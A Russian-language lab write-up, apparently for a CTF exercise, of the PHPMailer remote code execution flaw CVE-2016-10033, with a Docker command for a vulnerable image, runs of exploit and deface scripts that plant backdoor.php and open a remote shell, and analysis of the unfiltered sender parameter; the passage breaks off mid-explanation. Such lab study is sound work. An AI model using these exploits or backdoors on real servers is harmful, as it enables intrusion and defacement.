
Чтобы решить проблему CTFS.me
PHPMailer — самый популярный в мире класс для отправки почты, по оценкам, насчитывающий 9 миллионов пользователей по всему миру. Загрузки продолжаются значительными темпами ежедневно. Используется многими проектами с открытым исходным кодом: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! и многими другими.
PHPMailer до версии 5.2.18 содержит уязвимость, которая может привести к удаленному выполнению кода (RCE). Функция mailSend в транспорте isMail в PHPMailer, когда свойство Sender не установлено, может позволить удаленным злоумышленникам передавать дополнительные параметры команде mail и, следовательно, выполнять произвольный код через " (обратная косая черта и двойная кавычка) в специально сформированном адресе From.
Чтобы настроить уязвимую среду для тестирования, вам понадобится установленный Docker, и просто выполните следующую команду:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
И это запустит уязвимое веб-приложение на вашем хосте на порту 8080

Чтобы эксплуатировать эту цель, просто запустите:
./exploit host:port
Если вы используете этот уязвимый образ, вы можете просто запустить:
./exploit localhost:8080
После эксплуатации файл с именем backdoor.php будет сохранен в корневой папке веб-каталога. Эксплойт предоставит вам оболочку, в которой вы сможете отправлять команды на бэкдор:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
И всё, вы получили свою оболочку. Есть еще один эксплойт, который иллюстрирует другой вариант использования.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
И если вы снова посетите страницу, вы увидите это:

До этого коммита в class.phpmailer.php в определенном сценарии отсутствует фильтрация специальных символов адреса отправителя. Этот недостаток может привести к удаленному выполнению кода через функцию mail здесь.
Анализируя код, мы видим, что в функции mailSend() нет фильтрации
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender напрямую добавляется к переменной $params, которая ранее фильтровалась в функции validateAddress(), но поскольку она использует спецификацию RFC 3696, она допускает определенные символы, которые могут нарушить работу.
В данном случае — кавычки:
В дополнение к экранированию с помощью обратной косой черты, обычные символы двойных кавычек могут использоваться для обрамления строк. Например,
"Abc@def"@example.com
"Fred Bloggs"@example.com
являются альтернативными формами первых двух примеров выше. Эти формы в кавычках редко рекомендуются и на практике встречаются нечасто, но, как обсуждалось выше, должны поддерживаться приложениями, которые обрабатывают адреса электронной почты. В частности, формы в кавычках часто появляются в контексте адресов, связанных с переходом из других систем и контекстов; эти переходные требования всё ещё возникают, и поскольку система, принимающая предоставленный пользователем адрес электронной почты, не может "знать", связан ли этот адрес с наследуемой системой, эти формы адресов должны приниматься и передаваться в среду электронной почты.
Вы можете прочитать полный RFC здесь, если хотите. Но также, если версия PHP ниже 5.2.0 и не установлен PCRE, переменная $patternselect в validateAddress() будет установлена в noregex. Это позволит входным данным избежать любой проверки регулярных выражений. Они пройдут только небольшую проверку:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Затем поток выполнения переходит к функции mailPassthru(), которая, если выполняется в safe_mode, не будет уязвима для этой ошибки, о чём говорит следующий код:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Но если он не выполняется в safe_mode, то наш специальный параметр будет передан в mail(), и, если нам повезёт, он запишет наш файл, содержащий что угодно, в то место, которое мы выберем.
Эксплуатация функции PHP mail() — не новость, но она всё ещё актуальна, и люди продолжают её использовать. Чтобы объяснить, как это работает, давайте посмотрим, как определяется функция mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Существует несколько методов эксплуатации для достижения разных результатов; мы сосредоточимся на эксплуатации 5-го параметра для получения удаленного выполнения кода (RCE). Параметр $additional_parameters используется для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки письма. Эта конфигурация определяется переменной sendmail_path.
Примечание по безопасности из официальной документации PHP:
The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmiail option.
This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.
Учитывая дополнительные параметры, которые можно внедрить, мы будем использовать -X для эксплуатации этой уязвимости. Подробнее о параметре -X: